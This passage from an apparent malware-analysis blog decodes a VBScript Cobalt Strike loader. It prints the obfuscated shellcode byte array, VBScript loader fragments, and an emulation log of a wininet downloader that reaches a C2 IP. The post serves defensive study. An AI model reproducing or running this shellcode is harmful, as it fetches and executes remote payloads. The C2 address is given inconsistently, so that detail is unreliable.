45,83,84,65,78,68,65,82,68,45,65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,36,72,43,72,42,0,53,79,33,80,
37,0,85,115,101,114,45,65,103,101,110,116,58,32,77,111,122,105,108,108,97,47,52,46,48,32,40,99,111,109,112,97,116,105,98,108,101,59,32,77,
83,73,69,32,56,46,48,59,32,87,105,110,100,111,119,115,32,78,84,32,53,46,49,59,32,84,114,105,100,101,110,116,47,52,46,48,59,32,71,84,
66,55,46,52,59,32,46,78,69,84,52,46,48,67,41,13,10,0,53,79,33,80,37,64,65,80,91,52,92,80,90,88,53,52,40,80,94,41,55,67,
67,41,55,125,36,69,73,67,65,82,45,83,84,65,78,68,65,82,68,45,65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,
36,72,43,72,42,0,53,79,33,80,37,64,65,80,91,52,92,80,90,88,53,52,40,80,94,41,55,67,67,41,55,125,36,69,73,67,65,82,45,83,
84,65,78,68,65,82,68,45,65,78,84,73,86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,36,72,43,72,42,0,53,79,33,80,37,64,
65,80,91,52,92,80,90,88,53,52,40,80,94,41,55,67,67,41,55,125,36,69,73,67,65,82,45,83,
86,73,82,85,83,45,84,69,83,84,45,70,73,76,69,33,36,72,43,72,42,0,53,79,33,0,104,-16,-75,-94,86,-1,-43,106,64,104,0,16,0,0,
104,0,0,64,0,87,104,88,-92,83,-27,-1,-43,-109,-71,0,0,0,0,1,-39,81,83,-119,-25,87,104,0,32,0,0,83,86,104,18,-106,-119,-30,-1,-43,
-123,-64,116,-58,-117,7,1,-61,-123,-64,117,-27,88,-61,-24,-87,-3,-1,-1,52,55,46,57,56,46,53,49,46,52,55,0,0,0,0,0)
If Len(Environ(ProgramW6432)) > 0 Then
sProc = Environ(windir) &&"SysWOW64\cmd.exe
Else
sProc = Environ(windir) &&"SysWOW64\cmd.exe
End If

```

Now there is one trick here that slightly complicates things.

Fixing Negative Decimal Values Used to Represent Shellcode

That is, there are negative values present in the shellcode that will need to be fixed.

I am not 100% sure how negative values work in visual basic/.vbs. But in this case, it seems that the value of `-4` corresponds to `256 - 4`, which is `252`, which is `0xfc`, which is a common byte (cid flag) seen at the beginning of Shellcode.

Before analysing the possible shellcode, we will need to make all negative values and subtract them from `256`.

This can be done in CyberChef or Python, using either of the following examples.

CyberChef - This can be done by using a SubSection to extract negative values, subtracting them from the value 256. From here, all values can be decimal decoded.

The screenshot shows the CyberChef interface with the following configuration:


- Subsection:** Section (repeats) `-d+`, Case sensitive matching checked, Global matching checked.
- Find / Replace:** Find `-(\d+)`, Replace `256 $1`, Global match checked.
- Subtract:** Delimiter `Space`.
- From Decimal:** Delimiter `Comma`, Support signed values unchecked.

The input text is a long list of negative decimal values. The output text is the resulting positive values, which are then decoded to hex shellcode.

CyberChef - Using subsections to fix negative decimal values used to obfuscate shellcode.

Python - Similar to cyberchef, the array of decimal values can be iterated through, subtracting negative values from the number 256.


In the output, we can see cleartext strings as well as the initial Shellcode byte of `0xfc`.



Both outputs also reference a possible C2 address of `47.98.51[.]47`.



In addition, both outputs reference an EICAR string. (This is a string that will automatically trigger all antiviruses)



According to [Mandiant](#) and [Fortra](#) (authors of Cobalt Strike), this is an intentional string designed to prevent abuse of the Trial Edition of Cobalt Strike.

Trial vs Licensed vs Cracked

Cobalt Strike is not *legitimately* freely available. Copies of the team server/client cannot be downloaded as a trial or licensed copy from Help Systems—the company that owns Cobalt Strike—unless the operator applies and has been approved. Unfortunately, trials and cracked copies (including most, if not all, licensed features) have been and continue to be leaked and distributed publicly for nearly all recent versions.

- **Trial** versions of Cobalt Strike are heavily signed and include lots of obvious defaults intended to be caught in a production environment. (For example, it embeds the **EICAR** string in all payloads.) This is to ensure that the operator is really using it as a trial and will eventually pay if using it for professional purposes.

What are the “tells”?

Cobalt Strike generates its executables and DLLs with the help of the [Artifact Kit](#). The Artifact Kit is a source code framework to generate executables and DLLs that smuggle payloads past some anti-virus products. The Cobalt Strike 3.0 trial ships with the template Artifact Kit build. The template build embeds Cobalt Strike’s stager shellcode into executables and DLLs with no steps to disrupt an anti-virus sandbox.

The Cobalt Strike trial loads and uses [Malleable C2 profiles](#). This is a feature that allows users to change the network indicators in the Beacon payload. Each HTTP GET transaction, from the trial, includes an X-Malware header with the [EICAR string](#) as its content.

Shellcode Emulation With SpeakEasy.

The short length and presence of the `0xfc` byte can give us strong confidence that the result is shellcode.

For extra confirmation, we can go ahead and emulate the output inside of the [SpeakEasy](#) emulator.

```
FLARE Sun 22/10/2023 23:08:24.60
C:\Users\Lenny\Desktop\malware\cobalt_>bs>speakeasy -t eicar_shellcode.bin -r -a x86
+ exec: shellcode
0x10a2: 'kernel32.LoadLibraryA("wininet")' -> 0x7bc00000
0x10b0: 'wininet.InternetOpenA(0x0, 0x0, 0x0, 0x0, 0x0)' -> 0x20
0x10cc: 'wininet.InternetConnectA(0x20, "47.98.51.47", 0xea5b, 0x0, 0x0, 0x3, 0x0, 0x0)' -> 0x24
0x10e4: 'wininet.HttpOpenRequestA(0x24, 0x0, /GdAF, 0x0, 0x0, 0x0, "INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD", 0x0)' -> 0x
28
0x10f8: 'wininet.HttpSendRequestA(0x28, "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET4.0C)\r\n", 0xffffffff, 0x0, 0x0)' -> 0x1
0x111a: 'user32.GetDesktopWindow()' -> 0x198
0x1129: 'wininet.InternetErrorDlg(0x198, 0x28, 0x111a, 0x7, 0x0)' -> None
0x12de: 'kernel32.VirtualAlloc(0x0, 0x400000, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x450000
0x12f9: 'wininet.InternetReadFile(0x28, 0x450000, 0x2000, 0x1203fd4)' -> 0x1
0x12f9: 'wininet.InternetReadFile(0x28, 0x451000, 0x2000, 0x1203fd4)' -> 0x1
0x450012: Unhandled interrupt: intnum=0x3
0x450012: shellcode: Caught error: unhandled_interrupt
+ Finished emulating

FLARE Sun 22/10/2023 23:08:42.21
C:\Users\Lenny\Desktop\malware\cobalt_vbs>
```

Emulating shellcode with SpeakEasy.

This confirms that the bytes are shellcode, which act as a http-based downloader from the ip of `47.98.41[.]47`

Conclusion

In this blog, we have analysed a visual basic script containing a shellcode loader for cobalt strike. We have gone over some basic tips for analysing scripts, as well as some advanced functionality for decoding using CyberChef.

In the end, we have successfully identified a C2 Address and confirmed the shellcode functionality using the SpeakEasy emulator.